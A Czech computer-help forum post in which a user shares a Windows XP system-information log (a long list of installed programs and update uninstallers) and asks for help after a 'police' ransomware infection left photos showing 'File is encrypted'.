Preventivní kontrola pc (log) a problém s "policejním" virem

Zpráva

Antivirus94 · #1 Příspěvek od **Antivirus94** » 04 led 2014 20:55

Dobrý večer,

vkládám zde log z RSIT, mám podezření na breberky v pc, tak pro jistotu a klid v mé duši. Tak bych poprosil o jeho zkontrolování a v případě něčeho i poradit. To jest první věc, druhá věc. Před časem byl můj pc napaden "policejním" virusem, ale nedával jsem tomu dlouhou dobu moc velkou pozornost, jelikož počítač fungoval jak měl až na jednu zásadní věc, a to nemožnost zobrazit fotografi v pc, kde namísto otevření dané fotografie vyskočí černé pozadí s velkým červeným nápisem "File is encrypted" (viz.příloha). Poprosil bych, jak se tohoto problému zbavit, jelikož je to velmi nepříjemná záležitost.

Děkuji a přeji příjemný zbytek dne.

---------------------------------------------------------------------------------------------------------------------------------------
info.txt logfile of random's system information tool 1.09 2014-01-04 20:30:48

======Uninstall list======

-->C:\Program Files\Nero\Nero 7\nero\uninstall\UNNERO.exe /UNINSTALL
-->C:\WINDOWS\UNNeroBackItUp.exe /UNINSTALL
-->C:\WINDOWS\UNNeroMediaHome.exe /UNINSTALL
-->C:\WINDOWS\UNNeroShowTime.exe /UNINSTALL
-->C:\WINDOWS\UNNeroVision.exe /UNINSTALL
-->C:\WINDOWS\UNRecode.exe /UNINSTALL
-->rundll32.exe setupapi.dll,InstallHinfSection DefaultUninstall 132 C:\WINDOWS\INF\PCHealth.inf
ABBYY FineReader 6.0 Sprint-->MsiExec.exe /I{ACF60000-22B9-4CE9-98D6-2CCF359BAC07}
ACE Mega CoDecS Pack-->"C:\Program Files\ACE Mega CoDecS Pack\unins000.exe"
Ad-Aware SE Professional-->C:\PROGRA~1\Lavasoft\AD-AWA~1\UNWISE.EXE C:\PROGRA~1\Lavasoft\AD-AWA~1\INSTALL.LOG
ADDICT-THING-->C:\Documents and Settings\All Users\Data aplikací\ADDICT-THING\uninstall.exe /path=C:\Documents and Settings\All Users\Data aplikací\ADDICT-THING
Adobe Flash Player 11 ActiveX-->C:\WINDOWS\system32\Macromed\Flash\FlashUtil32_11_9_900_170_ActiveX.exe -maintain activex
Adobe Flash Player 11 Plugin-->C:\WINDOWS\system32\Macromed\Flash\FlashUtil32_11_9_900_170_Plugin.exe -maintain plugin
Adobe Reader 7.0 - Czech-->MsiExec.exe /I{AC76BA86-7AD7-1029-7B44-A70000000000}
Aktualizace systému Windows Internet Explorer 7 (KB980182)-->"C:\WINDOWS\ie7updates\KB980182-IE7\spuninst\spuninst.exe"
Aktualizace systému Windows Internet Explorer 8 (KB2598845)-->"C:\WINDOWS\ie8updates\KB2598845-IE8\spuninst\spuninst.exe"
Aktualizace systému Windows XP (KB2141007)-->"C:\WINDOWS\$NtUninstallKB2141007$\spuninst\spuninst.exe"
Aktualizace systému Windows XP (KB2345886)-->"C:\WINDOWS\$NtUninstallKB2345886$\spuninst\spuninst.exe"
Aktualizace systému Windows XP (KB2467659)-->"C:\WINDOWS\$NtUninstallKB2467659$\spuninst\spuninst.exe"
Aktualizace systému Windows XP (KB2541763)-->"C:\WINDOWS\$NtUninstallKB2541763$\spuninst\spuninst.exe"
Aktualizace systému Windows XP (KB2607712)-->"C:\WINDOWS\$NtUninstallKB2607712$\spuninst\spuninst.exe"
Aktualizace systému Windows XP (KB2616676)-->"C:\WINDOWS\$NtUninstallKB2616676$\spuninst\spuninst.exe"
Aktualizace systému Windows XP (KB2641690)-->"C:\WINDOWS\$NtUninstallKB2641690$\spuninst\spuninst.exe"
Aktualizace systému Windows XP (KB2661254-v2)-->"C:\WINDOWS\$NtUninstallKB2661254-v2$\spuninst\spuninst.exe"
Aktualizace systému Windows XP (KB2718704)-->"C:\WINDOWS\$NtUninstallKB2718704$\spuninst\spuninst.exe"
Aktualizace systému Windows XP (KB2736233)-->"C:\WINDOWS\$NtUninstallKB2736233$\spuninst\spuninst.exe"
Aktualizace systému Windows XP (KB2749655)-->"C:\WINDOWS\$NtUninstallKB2749655$\spuninst\spuninst.exe"
Aktualizace systému Windows XP (KB951978)-->"C:\WINDOWS\$NtUninstallKB951978$\spuninst\spuninst.exe"
Aktualizace systému Windows XP (KB955759)-->"C:\WINDOWS\$NtUninstallKB955759$\spuninst\spuninst.exe"
Aktualizace systému Windows XP (KB967715)-->"C:\WINDOWS\$NtUninstallKB967715$\spuninst\spuninst.exe"
Aktualizace systému Windows XP (KB968389)-->"C:\WINDOWS\$NtUninstallKB968389$\spuninst\spuninst.exe"
Aktualizace systému Windows XP (KB971029)-->"C:\WINDOWS\$NtUninstallKB971029$\spuninst\spuninst.exe"
Aktualizace systému Windows XP (KB971737)-->"C:\WINDOWS\$NtUninstallKB971737$\spuninst\spuninst.exe"
Aktualizace systému Windows XP (KB973687)-->"C:\WINDOWS\$NtUninstallKB973687$\spuninst\spuninst.exe"
Aktualizace systému Windows XP (KB973815)-->"C:\WINDOWS\$NtUninstallKB973815$\spuninst\spuninst.exe"
Aktualizace zabezpečení aplikace Windows Media Player (KB2378111)-->"C:\WINDOWS\$NtUninstallKB2378111_WM9$\spuninst\spuninst.exe"
Aktualizace zabezpečení aplikace Windows Media Player (KB952069)-->"C:\WINDOWS\$NtUninstallKB952069_WM9$\spuninst\spuninst.exe"
Aktualizace zabezpečení aplikace Windows Media Player (KB954155)-->"C:\WINDOWS\$NtUninstallKB954155_WM9$\spuninst\spuninst.exe"
Aktualizace zabezpečení aplikace Windows Media Player (KB968816)-->"C:\WINDOWS\$NtUninstallKB968816_WM9$\spuninst\spuninst.exe"
Aktualizace zabezpečení aplikace Windows Media Player (KB973540)-->"C:\WINDOWS\$NtUninstallKB973540_WM9L$\spuninst\spuninst.exe"
Aktualizace zabezpečení aplikace Windows Media Player (KB975558)-->"C:\WINDOWS\$NtUninstallKB975558_WM8$\spuninst\spuninst.exe"
Aktualizace zabezpečení aplikace Windows Media Player (KB978695)-->"C:\WINDOWS\$NtUninstallKB978695_WM9$\spuninst\spuninst.exe"
Aktualizace zabezpečení aplikace Windows Media Player (KB979402)-->"C:\WINDOWS\$NtUninstallKB979402_WM9L$\spuninst\spuninst.exe"
Aktualizace zabezpečení aplikace Windows Media Player 11 (KB954154)-->"C:\WINDOWS\$NtUninstallKB954154_WM11$\spuninst\spuninst.exe"
Aktualizace zabezpečení pro Microsoft Windows (KB2564958)-->"C:\WINDOWS\$NtUninstallKB2564958$\spuninst\spuninst.exe"
Aktualizace zabezpečení produktu Windows XP (KB941569)-->"C:\WINDOWS\$NtUninstallKB941569$\spuninst\spuninst.exe"
Aktualizace zabezpečení systému Windows Internet Explorer 7 (KB2183461)-->"C:\WINDOWS\ie7updates\KB2183461-IE7\spuninst\spuninst.exe"
Aktualizace zabezpečení systému Windows Internet Explorer 7 (KB2360131)-->"C:\WINDOWS\ie7updates\KB2360131-IE7\spuninst\spuninst.exe"
Aktualizace zabezpečení systému Windows Internet Explorer 7 (KB2416400)-->"C:\WINDOWS\ie7updates\KB2416400-IE7\spuninst\spuninst.exe"
Aktualizace zabezpečení systému Windows Internet Explorer 7 (KB2482017)-->"C:\WINDOWS\ie7updates\KB2482017-IE7\spuninst\spuninst.exe"
Aktualizace zabezpečení systému Windows Internet Explorer 7 (KB2497640)-->"C:\WINDOWS\ie7updates\KB2497640-IE7\spuninst\spuninst.exe"
Aktualizace zabezpečení systému Windows Internet Explorer 7 (KB2530548)-->"C:\WINDOWS\ie7updates\KB2530548-IE7\spuninst\spuninst.exe"
Aktualizace zabezpečení systému Windows Internet Explorer 7 (KB2544521)-->"C:\WINDOWS\ie7updates\KB2544521-IE7\spuninst\spuninst.exe"
Aktualizace zabezpečení systému Windows Internet Explorer 7 (KB2559049)-->"C:\WINDOWS\ie7updates\KB2559049-IE7\spuninst\spuninst.exe"
Aktualizace zabezpečení systému Windows Internet Explorer 7 (KB2586448)-->"C:\WINDOWS\ie7updates\KB2586448-IE7\spuninst\spuninst.exe"
Aktualizace zabezpečení systému Windows Internet Explorer 7 (KB2618444)-->"C:\WINDOWS\ie7updates\KB2618444-IE7\spuninst\spuninst.exe"
Aktualizace zabezpečení systému Windows Internet Explorer 7 (KB2647516)-->"C:\WINDOWS\ie7updates\KB2647516-IE7\spuninst\spuninst.exe"
Aktualizace zabezpečení systému Windows Internet Explorer 7 (KB2675157)-->"C:\WINDOWS\ie7updates\KB2675157-IE7\spuninst\spuninst.exe"
Aktualizace zabezpečení systému Windows Internet Explorer 7 (KB938127-v2)-->"C:\WINDOWS\ie7updates\KB938127-v2-IE7\spuninst\spuninst.exe"
Aktualizace zabezpečení systému Windows Internet Explorer 7 (KB978207)-->"C:\WINDOWS\ie7updates\KB978207-IE7\spuninst\spuninst.exe"
Aktualizace zabezpečení systému Windows Internet Explorer 7 (KB982381)-->"C:\WINDOWS\ie7updates\KB982381-IE7\spuninst\spuninst.exe"
Aktualizace zabezpečení systému Windows Internet Explorer 8 (KB2510531)-->"C:\WINDOWS\ie8updates\KB2510531-IE8\spuninst\spuninst.exe"
Aktualizace zabezpečení systému Windows Internet Explorer 8 (KB2544521)-->"C:\WINDOWS\ie8updates\KB2544521-IE8\spuninst\spuninst.exe"
Aktualizace zabezpečení systému Windows Internet Explorer 8 (KB2618444)-->"C:\WINDOWS\ie8updates\KB2618444-IE8\spuninst\spuninst.exe"
Aktualizace zabezpečení systému Windows Internet Explorer 8 (KB2647516)-->"C:\WINDOWS\ie8updates\KB2647516-IE8\spuninst\spuninst.exe"
Aktualizace zabezpečení systému Windows Internet Explorer 8 (KB2675157)-->"C:\WINDOWS\ie8updates\KB2675157-IE8\spuninst\spuninst.exe"
Aktualizace zabezpečení systému Windows Internet Explorer 8 (KB2699988)-->"C:\WINDOWS\ie8updates\KB2699988-IE8\spuninst\spuninst.exe"
Aktualizace zabezpečení systému Windows Internet Explorer 8 (KB2722913)-->"C:\WINDOWS\ie8updates\KB2722913-IE8\spuninst\spuninst.exe"
Aktualizace zabezpečení systému Windows Internet Explorer 8 (KB2744842)-->"C:\WINDOWS\ie8updates\KB2744842-IE8\spuninst\spuninst.exe"
Aktualizace zabezpečení systému Windows Internet Explorer 8 (KB2761465)-->"C:\WINDOWS\ie8updates\KB2761465-IE8\spuninst\spuninst.exe"
Aktualizace zabezpečení systému Windows Internet Explorer 8 (KB2792100)-->"C:\WINDOWS\ie8updates\KB2792100-IE8\spuninst\spuninst.exe"
Aktualizace zabezpečení systému Windows Internet Explorer 8 (KB2797052)-->"C:\WINDOWS\ie8updates\KB2797052-IE8\spuninst\spuninst.exe"
Aktualizace zabezpečení systému Windows Internet Explorer 8 (KB2799329)-->"C:\WINDOWS\ie8updates\KB2799329-IE8\spuninst\spuninst.exe"
Aktualizace zabezpečení systému Windows Internet Explorer 8 (KB2809289)-->"C:\WINDOWS\ie8updates\KB2809289-IE8\spuninst\spuninst.exe"
Aktualizace zabezpečení systému Windows Internet Explorer 8 (KB2817183)-->"C:\WINDOWS\ie8updates\KB2817183-IE8\spuninst\spuninst.exe"
Aktualizace zabezpečení systému Windows Internet Explorer 8 (KB2829530)-->"C:\WINDOWS\ie8updates\KB2829530-IE8\spuninst\spuninst.exe"
Aktualizace zabezpečení systému Windows Internet Explorer 8 (KB2838727)-->"C:\WINDOWS\ie8updates\KB2838727-IE8\spuninst\spuninst.exe"
Aktualizace zabezpečení systému Windows Internet Explorer 8 (KB2847204)-->"C:\WINDOWS\ie8updates\KB2847204-IE8\spuninst\spuninst.exe"
Aktualizace zabezpečení systému Windows Internet Explorer 8 (KB982381)-->"C:\WINDOWS\ie8updates\KB982381-IE8\spuninst\spuninst.exe"
Aktualizace zabezpečení systému Windows XP (KB2079403)-->"C:\WINDOWS\$NtUninstallKB2079403$\spuninst\spuninst.exe"
Aktualizace zabezpečení systému Windows XP (KB2115168)-->"C:\WINDOWS\$NtUninstallKB2115168$\spuninst\spuninst.exe"
Aktualizace zabezpečení systému Windows XP (KB2121546)-->"C:\WINDOWS\$NtUninstallKB2121546$\spuninst\spuninst.exe"
Aktualizace zabezpečení systému Windows XP (KB2160329)-->"C:\WINDOWS\$NtUninstallKB2160329$\spuninst\spuninst.exe"
Aktualizace zabezpečení systému Windows XP (KB2229593)-->"C:\WINDOWS\$NtUninstallKB2229593$\spuninst\spuninst.exe"
Aktualizace zabezpečení systému Windows XP (KB2259922)-->"C:\WINDOWS\$NtUninstallKB2259922$\spuninst\spuninst.exe"
Aktualizace zabezpečení systému Windows XP (KB2279986)-->"C:\WINDOWS\$NtUninstallKB2279986$\spuninst\spuninst.exe"
Aktualizace zabezpečení systému Windows XP (KB2286198)-->"C:\WINDOWS\$NtUninstallKB2286198$\spuninst\spuninst.exe"
Aktualizace zabezpečení systému Windows XP (KB2296011)-->"C:\WINDOWS\$NtUninstallKB2296011$\spuninst\spuninst.exe"
Aktualizace zabezpečení systému Windows XP (KB2296199)-->"C:\WINDOWS\$NtUninstallKB2296199$\spuninst\spuninst.exe"
Aktualizace zabezpečení systému Windows XP (KB2347290)-->"C:\WINDOWS\$NtUninstallKB2347290$\spuninst\spuninst.exe"
Aktualizace zabezpečení systému Windows XP (KB2360937)-->"C:\WINDOWS\$NtUninstallKB2360937$\spuninst\spuninst.exe"
Aktualizace zabezpečení systému Windows XP (KB2387149)-->"C:\WINDOWS\$NtUninstallKB2387149$\spuninst\spuninst.exe"
Aktualizace zabezpečení systému Windows XP (KB2393802)-->"C:\WINDOWS\$NtUninstallKB2393802$\spuninst\spuninst.exe"
Aktualizace zabezpečení systému Windows XP (KB2412687)-->"C:\WINDOWS\$NtUninstallKB2412687$\spuninst\spuninst.exe"
Aktualizace zabezpečení systému Windows XP (KB2419632)-->"C:\WINDOWS\$NtUninstallKB2419632$\spuninst\spuninst.exe"
Aktualizace zabezpečení systému Windows XP (KB2423089)-->"C:\WINDOWS\$NtUninstallKB2423089$\spuninst\spuninst.exe"
Aktualizace zabezpečení systému Windows XP (KB2436673)-->"C:\WINDOWS\$NtUninstallKB2436673$\spuninst\spuninst.exe"
Aktualizace zabezpečení systému Windows XP (KB2440591)-->"C:\WINDOWS\$NtUninstallKB2440591$\spuninst\spuninst.exe"
Aktualizace zabezpečení systému Windows XP (KB2443105)-->"C:\WINDOWS\$NtUninstallKB2443105$\spuninst\spuninst.exe"
Aktualizace zabezpečení systému Windows XP (KB2476490)-->"C:\WINDOWS\$NtUninstallKB2476490$\spuninst\spuninst.exe"
Aktualizace zabezpečení systému Windows XP (KB2476687)-->"C:\WINDOWS\$NtUninstallKB2476687$\spuninst\spuninst.exe"
Aktualizace zabezpečení systému Windows XP (KB2478960)-->"C:\WINDOWS\$NtUninstallKB2478960$\spuninst\spuninst.exe"
Aktualizace zabezpečení systému Windows XP (KB2478971)-->"C:\WINDOWS\$NtUninstallKB2478971$\spuninst\spuninst.exe"
Aktualizace zabezpečení systému Windows XP (KB2479628)-->"C:\WINDOWS\$NtUninstallKB2479628$\spuninst\spuninst.exe"
Aktualizace zabezpečení systému Windows XP (KB2479943)-->"C:\WINDOWS\$NtUninstallKB2479943$\spuninst\spuninst.exe"
Aktualizace zabezpečení systému Windows XP (KB2481109)-->"C:\WINDOWS\$NtUninstallKB2481109$\spuninst\spuninst.exe"
Aktualizace zabezpečení systému Windows XP (KB2483185)-->"C:\WINDOWS\$NtUninstallKB2483185$\spuninst\spuninst.exe"
Aktualizace zabezpečení systému Windows XP (KB2485376)-->"C:\WINDOWS\$NtUninstallKB2485376$\spuninst\spuninst.exe"
Aktualizace zabezpečení systému Windows XP (KB2485663)-->"C:\WINDOWS\$NtUninstallKB2485663$\spuninst\spuninst.exe"
Aktualizace zabezpečení systému Windows XP (KB2503658)-->"C:\WINDOWS\$NtUninstallKB2503658$\spuninst\spuninst.exe"
Aktualizace zabezpečení systému Windows XP (KB2503665)-->"C:\WINDOWS\$NtUninstallKB2503665$\spuninst\spuninst.exe"
Aktualizace zabezpečení systému Windows XP (KB2506212)-->"C:\WINDOWS\$NtUninstallKB2506212$\spuninst\spuninst.exe"
Aktualizace zabezpečení systému Windows XP (KB2506223)-->"C:\WINDOWS\$NtUninstallKB2506223$\spuninst\spuninst.exe"
Aktualizace zabezpečení systému Windows XP (KB2507618)-->"C:\WINDOWS\$NtUninstallKB2507618$\spuninst\spuninst.exe"
Aktualizace zabezpečení systému Windows XP (KB2507938)-->"C:\WINDOWS\$NtUninstallKB2507938$\spuninst\spuninst.exe"
Aktualizace zabezpečení systému Windows XP (KB2508272)-->"C:\WINDOWS\$NtUninstallKB2508272$\spuninst\spuninst.exe"
Aktualizace zabezpečení systému Windows XP (KB2508429)-->"C:\WINDOWS\$NtUninstallKB2508429$\spuninst\spuninst.exe"
Aktualizace zabezpečení systému Windows XP (KB2509553)-->"C:\WINDOWS\$NtUninstallKB2509553$\spuninst\spuninst.exe"
Aktualizace zabezpečení systému Windows XP (KB2510581)-->"C:\WINDOWS\$NtUninstallKB2510581$\spuninst\spuninst.exe"
Aktualizace zabezpečení systému Windows XP (KB2511455)-->"C:\WINDOWS\$NtUninstallKB2511455$\spuninst\spuninst.exe"
Aktualizace zabezpečení systému Windows XP (KB2524375)-->"C:\WINDOWS\$NtUninstallKB2524375$\spuninst\spuninst.exe"
Aktualizace zabezpečení systému Windows XP (KB2535512)-->"C:\WINDOWS\$NtUninstallKB2535512$\spuninst\spuninst.exe"
Aktualizace zabezpečení systému Windows XP (KB2536276)-->"C:\WINDOWS\$NtUninstallKB2536276$\spuninst\spuninst.exe"
Aktualizace zabezpečení systému Windows XP (KB2536276-v2)-->"C:\WINDOWS\$NtUninstallKB2536276-v2$\spuninst\spuninst.exe"
Aktualizace zabezpečení systému Windows XP (KB2544893)-->"C:\WINDOWS\$NtUninstallKB2544893$\spuninst\spuninst.exe"
Aktualizace zabezpečení systému Windows XP (KB2544893-v2)-->"C:\WINDOWS\$NtUninstallKB2544893-v2$\spuninst\spuninst.exe"
Aktualizace zabezpečení systému Windows XP (KB2555917)-->"C:\WINDOWS\$NtUninstallKB2555917$\spuninst\spuninst.exe"
Aktualizace zabezpečení systému Windows XP (KB2562937)-->"C:\WINDOWS\$NtUninstallKB2562937$\spuninst\spuninst.exe"
Aktualizace zabezpečení systému Windows XP (KB2566454)-->"C:\WINDOWS\$NtUninstallKB2566454$\spuninst\spuninst.exe"
Aktualizace zabezpečení systému Windows XP (KB2567053)-->"C:\WINDOWS\$NtUninstallKB2567053$\spuninst\spuninst.exe"
Aktualizace zabezpečení systému Windows XP (KB2567680)-->"C:\WINDOWS\$NtUninstallKB2567680$\spuninst\spuninst.exe"
Aktualizace zabezpečení systému Windows XP (KB2570222)-->"C:\WINDOWS\$NtUninstallKB2570222$\spuninst\spuninst.exe"
Aktualizace zabezpečení systému Windows XP (KB2570947)-->"C:\WINDOWS\$NtUninstallKB2570947$\spuninst\spuninst.exe"
Aktualizace zabezpečení systému Windows XP (KB2584146)-->"C:\WINDOWS\$NtUninstallKB2584146$\spuninst\spuninst.exe"
Aktualizace zabezpečení systému Windows XP (KB2585542)-->"C:\WINDOWS\$NtUninstallKB2585542$\spuninst\spuninst.exe"
Aktualizace zabezpečení systému Windows XP (KB2592799)-->"C:\WINDOWS\$NtUninstallKB2592799$\spuninst\spuninst.exe"
Aktualizace zabezpečení systému Windows XP (KB2598479)-->"C:\WINDOWS\$NtUninstallKB2598479$\spuninst\spuninst.exe"
Aktualizace zabezpečení systému Windows XP (KB2603381)-->"C:\WINDOWS\$NtUninstallKB2603381$\spuninst\spuninst.exe"
Aktualizace zabezpečení systému Windows XP (KB2618451)-->"C:\WINDOWS\$NtUninstallKB2618451$\spuninst\spuninst.exe"
Aktualizace zabezpečení systému Windows XP (KB2619339)-->"C:\WINDOWS\$NtUninstallKB2619339$\spuninst\spuninst.exe"
Aktualizace zabezpečení systému Windows XP (KB2620712)-->"C:\WINDOWS\$NtUninstallKB2620712$\spuninst\spuninst.exe"
Aktualizace zabezpečení systému Windows XP (KB2621440)-->"C:\WINDOWS\$NtUninstallKB2621440$\spuninst\spuninst.exe"
Aktualizace zabezpečení systému Windows XP (KB2624667)-->"C:\WINDOWS\$NtUninstallKB2624667$\spuninst\spuninst.exe"
Aktualizace zabezpečení systému Windows XP (KB2631813)-->"C:\WINDOWS\$NtUninstallKB2631813$\spuninst\spuninst.exe"
Aktualizace zabezpečení systému Windows XP (KB2633171)-->"C:\WINDOWS\$NtUninstallKB2633171$\spuninst\spuninst.exe"
Aktualizace zabezpečení systému Windows XP (KB2639417)-->"C:\WINDOWS\$NtUninstallKB2639417$\spuninst\spuninst.exe"
Aktualizace zabezpečení systému Windows XP (KB2641653)-->"C:\WINDOWS\$NtUninstallKB2641653$\spuninst\spuninst.exe"
Aktualizace zabezpečení systému Windows XP (KB2646524)-->"C:\WINDOWS\$NtUninstallKB2646524$\spuninst\spuninst.exe"
Aktualizace zabezpečení systému Windows XP (KB2647518)-->"C:\WINDOWS\$NtUninstallKB2647518$\spuninst\spuninst.exe"
Aktualizace zabezpečení systému Windows XP (KB2653956)-->"C:\WINDOWS\$NtUninstallKB2653956$\spuninst\spuninst.exe"
Aktualizace zabezpečení systému Windows XP (KB2655992)-->"C:\WINDOWS\$NtUninstallKB2655992$\spuninst\spuninst.exe"
Aktualizace zabezpečení systému Windows XP (KB2659262)-->"C:\WINDOWS\$NtUninstallKB2659262$\spuninst\spuninst.exe"
Aktualizace zabezpečení systému Windows XP (KB2660465)-->"C:\WINDOWS\$NtUninstallKB2660465$\spuninst\spuninst.exe"
Aktualizace zabezpečení systému Windows XP (KB2661637)-->"C:\WINDOWS\$NtUninstallKB2661637$\spuninst\spuninst.exe"
Aktualizace zabezpečení systému Windows XP (KB2676562)-->"C:\WINDOWS\$NtUninstallKB2676562$\spuninst\spuninst.exe"
Aktualizace zabezpečení systému Windows XP (KB2685939)-->"C:\WINDOWS\$NtUninstallKB2685939$\spuninst\spuninst.exe"
Aktualizace zabezpečení systému Windows XP (KB2686509)-->"C:\WINDOWS\$NtUninstallKB2686509$\spuninst\spuninst.exe"
Aktualizace zabezpečení systému Windows XP (KB2691442)-->"C:\WINDOWS\$NtUninstallKB2691442$\spuninst\spuninst.exe"
Aktualizace zabezpečení systému Windows XP (KB2695962)-->"C:\WINDOWS\$NtUninstallKB2695962$\spuninst\spuninst.exe"
Aktualizace zabezpečení systému Windows XP (KB2698365)-->"C:\WINDOWS\$NtUninstallKB2698365$\spuninst\spuninst.exe"
Aktualizace zabezpečení systému Windows XP (KB2705219)-->"C:\WINDOWS\$NtUninstallKB2705219$\spuninst\spuninst.exe"
Aktualizace zabezpečení systému Windows XP (KB2707511)-->"C:\WINDOWS\$NtUninstallKB2707511$\spuninst\spuninst.exe"
Aktualizace zabezpečení systému Windows XP (KB2709162)-->"C:\WINDOWS\$NtUninstallKB2709162$\spuninst\spuninst.exe"
Aktualizace zabezpečení systému Windows XP (KB2712808)-->"C:\WINDOWS\$NtUninstallKB2712808$\spuninst\spuninst.exe"
Aktualizace zabezpečení systému Windows XP (KB2718523)-->"C:\WINDOWS\$NtUninstallKB2718523$\spuninst\spuninst.exe"
Aktualizace zabezpečení systému Windows XP (KB2719985)-->"C:\WINDOWS\$NtUninstallKB2719985$\spuninst\spuninst.exe"
Aktualizace zabezpečení systému Windows XP (KB2723135)-->"C:\WINDOWS\$NtUninstallKB2723135$\spuninst\spuninst.exe"
Aktualizace zabezpečení systému Windows XP (KB2724197)-->"C:\WINDOWS\$NtUninstallKB2724197$\spuninst\spuninst.exe"
Aktualizace zabezpečení systému Windows XP (KB2727528)-->"C:\WINDOWS\$NtUninstallKB2727528$\spuninst\spuninst.exe"
Aktualizace zabezpečení systému Windows XP (KB2731847)-->"C:\WINDOWS\$NtUninstallKB2731847$\spuninst\spuninst.exe"
Aktualizace zabezpečení systému Windows XP (KB2753842)-->"C:\WINDOWS\$NtUninstallKB2753842$\spuninst\spuninst.exe"
Aktualizace zabezpečení systému Windows XP (KB2753842-v2)-->"C:\WINDOWS\$NtUninstallKB2753842-v2$\spuninst\spuninst.exe"
Aktualizace zabezpečení systému Windows XP (KB2757638)-->"C:\WINDOWS\$NtUninstallKB2757638$\spuninst\spuninst.exe"
Aktualizace zabezpečení systému Windows XP (KB2758857)-->"C:\WINDOWS\$NtUninstallKB2758857$\spuninst\spuninst.exe"
Aktualizace zabezpečení systému Windows XP (KB2761226)-->"C:\WINDOWS\$NtUninstallKB2761226$\spuninst\spuninst.exe"
Aktualizace zabezpečení systému Windows XP (KB2770660)-->"C:\WINDOWS\$NtUninstallKB2770660$\spuninst\spuninst.exe"
Aktualizace zabezpečení systému Windows XP (KB2778344)-->"C:\WINDOWS\$NtUninstallKB2778344$\spuninst\spuninst.exe"
Aktualizace zabezpečení systému Windows XP (KB2779030)-->"C:\WINDOWS\$NtUninstallKB2779030$\spuninst\spuninst.exe"
Aktualizace zabezpečení systému Windows XP (KB2780091)-->"C:\WINDOWS\$NtUninstallKB2780091$\spuninst\spuninst.exe"
Aktualizace zabezpečení systému Windows XP (KB2799494)-->"C:\WINDOWS\$NtUninstallKB2799494$\spuninst\spuninst.exe"
Aktualizace zabezpečení systému Windows XP (KB2802968)-->"C:\WINDOWS\$NtUninstallKB2802968$\spuninst\spuninst.exe"
Aktualizace zabezpečení systému Windows XP (KB2807986)-->"C:\WINDOWS\$NtUninstallKB2807986$\spuninst\spuninst.exe"
Aktualizace zabezpečení systému Windows XP (KB2808735)-->"C:\WINDOWS\$NtUninstallKB2808735$\spuninst\spuninst.exe"
Aktualizace zabezpečení systému Windows XP (KB2813170)-->"C:\WINDOWS\$NtUninstallKB2813170$\spuninst\spuninst.exe"
Aktualizace zabezpečení systému Windows XP (KB2813345)-->"C:\WINDOWS\$NtUninstallKB2813345$\spuninst\spuninst.exe"
Aktualizace zabezpečení systému Windows XP (KB2820197)-->"C:\WINDOWS\$NtUninstallKB2820197$\spuninst\spuninst.exe"
Aktualizace zabezpečení systému Windows XP (KB2820917)-->"C:\WINDOWS\$NtUninstallKB2820917$\spuninst\spuninst.exe"
Aktualizace zabezpečení systému Windows XP (KB2829361)-->"C:\WINDOWS\$NtUninstallKB2829361$\spuninst\spuninst.exe"
Aktualizace zabezpečení systému Windows XP (KB2839229)-->"C:\WINDOWS\$NtUninstallKB2839229$\spuninst\spuninst.exe"
Aktualizace zabezpečení systému Windows XP (KB923561)-->"C:\WINDOWS\$NtUninstallKB923561$\spuninst\spuninst.exe"
Aktualizace zabezpečení systému Windows XP (KB923789)-->C:\WINDOWS\system32\MacroMed\Flash\genuinst.exe C:\WINDOWS\system32\MacroMed\Flash\KB923789.inf
Aktualizace zabezpečení systému Windows XP (KB946648)-->"C:\WINDOWS\$NtUninstallKB946648$\spuninst\spuninst.exe"
Aktualizace zabezpečení systému Windows XP (KB950760)-->"C:\WINDOWS\$NtUninstallKB950760$\spuninst\spuninst.exe"
Aktualizace zabezpečení systému Windows XP (KB950762)-->"C:\WINDOWS\$NtUninstallKB950762$\spuninst\spuninst.exe"
Aktualizace zabezpečení systému Windows XP (KB950974)-->"C:\WINDOWS\$NtUninstallKB950974$\spuninst\spuninst.exe"
Aktualizace zabezpečení systému Windows XP (KB951066)-->"C:\WINDOWS\$NtUninstallKB951066$\spuninst\spuninst.exe"
Aktualizace zabezpečení systému Windows XP (KB951376-v2)-->"C:\WINDOWS\$NtUninstallKB951376-v2$\spuninst\spuninst.exe"
Aktualizace zabezpečení systému Windows XP (KB951748)-->"C:\WINDOWS\$NtUninstallKB951748$\spuninst\spuninst.exe"
Aktualizace zabezpečení systému Windows XP (KB952004)-->"C:\WINDOWS\$NtUninstallKB952004$\spuninst\spuninst.exe"
Aktualizace zabezpečení systému Windows XP (KB952954)-->"C:\WINDOWS\$NtUninstallKB952954$\spuninst\spuninst.exe"
Aktualizace zabezpečení systému Windows XP (KB955069)-->"C:\WINDOWS\$NtUninstallKB955069$\spuninst\spuninst.exe"
Aktualizace zabezpečení systému Windows XP (KB956572)-->"C:\WINDOWS\$NtUninstallKB956572$\spuninst\spuninst.exe"
Aktualizace zabezpečení systému Windows XP (KB956744)-->"C:\WINDOWS\$NtUninstallKB956744$\spuninst\spuninst.exe"
Aktualizace zabezpečení systému Windows XP (KB956802)-->"C:\WINDOWS\$NtUninstallKB956802$\spuninst\spuninst.exe"
Aktualizace zabezpečení systému Windows XP (KB956803)-->"C:\WINDOWS\$NtUninstallKB956803$\spuninst\spuninst.exe"
Aktualizace zabezpečení systému Windows XP (KB956844)-->"C:\WINDOWS\$NtUninstallKB956844$\spuninst\spuninst.exe"
Aktualizace zabezpečení systému Windows XP (KB958644)-->"C:\WINDOWS\$NtUninstallKB958644$\spuninst\spuninst.exe"
Aktualizace zabezpečení systému Windows XP (KB958869)-->"C:\WINDOWS\$NtUninstallKB958869$\spuninst\spuninst.exe"
Aktualizace zabezpečení systému Windows XP (KB959426)-->"C:\WINDOWS\$NtUninstallKB959426$\spuninst\spuninst.exe"
Aktualizace zabezpečení systému Windows XP (KB960225)-->"C:\WINDOWS\$NtUninstallKB960225$\spuninst\spuninst.exe"
Aktualizace zabezpečení systému Windows XP (KB960803)-->"C:\WINDOWS\$NtUninstallKB960803$\spuninst\spuninst.exe"
Aktualizace zabezpečení systému Windows XP (KB960859)-->"C:\WINDOWS\$NtUninstallKB960859$\spuninst\spuninst.exe"
Aktualizace zabezpečení systému Windows XP (KB961501)-->"C:\WINDOWS\$NtUninstallKB961501$\spuninst\spuninst.exe"
Aktualizace zabezpečení systému Windows XP (KB969059)-->"C:\WINDOWS\$NtUninstallKB969059$\spuninst\spuninst.exe"
Aktualizace zabezpečení systému Windows XP (KB969947)-->"C:\WINDOWS\$NtUninstallKB969947$\spuninst\spuninst.exe"
Aktualizace zabezpečení systému Windows XP (KB970238)-->"C:\WINDOWS\$NtUninstallKB970238$\spuninst\spuninst.exe"
